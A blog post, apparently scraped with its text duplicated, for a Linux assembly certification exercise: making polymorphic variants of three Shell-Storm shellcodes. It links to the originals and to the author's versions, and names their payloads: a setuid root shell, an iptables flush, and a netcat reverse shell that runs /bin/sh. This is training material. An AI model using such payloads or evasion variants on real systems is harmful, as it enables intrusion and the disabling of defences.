This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification."
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
Concerning polymorphic code detection:
https://www.fp6-noah.org/publications/papers/nemu_raid07.pdf
https://www3.cs.stonybrook.edu/~mikepo/papers/nemu.virology.pdf
I have decided that since these blog posts tend to get rather long that I will create a separate blog post for each of the 3 shellcodes that I will choose from Shell-Storm and I will simply put a link to those blog posts here.
setuid(0) + execve(/bin/sh)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-77.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polysetuidexecve1434.html
execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-683.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polyflushiptables1434.html
execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-823.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE64-1434
Target Operating System: 64 bit Linux (x86_64 GNU/Linux)
Assignment 6:
Take up any 3 shellcodes, 64 bit Linux ones, from Shell-Storm and create polymorphic versions which do not exceed 150% of the size of the original shellcode. Bonus points if you make the polymorphic version really obscure or maybe even shorter in length than the original one.Concerning polymorphic code detection:
https://www.fp6-noah.org/publications/papers/nemu_raid07.pdf
https://www3.cs.stonybrook.edu/~mikepo/papers/nemu.virology.pdf
I have decided that since these blog posts tend to get rather long that I will create a separate blog post for each of the 3 shellcodes that I will choose from Shell-Storm and I will simply put a link to those blog posts here.
The First Shellcode
setuid(0) + execve(/bin/sh)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-77.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polysetuidexecve1434.html
The Second Shellcode
execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-683.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polyflushiptables1434.html
The Third shellcode
execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
The Original Shellcode: http://shell-storm.org/shellcode/files/shellcode-823.php
My Polymorphic Version: http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html
Comments
Post a Comment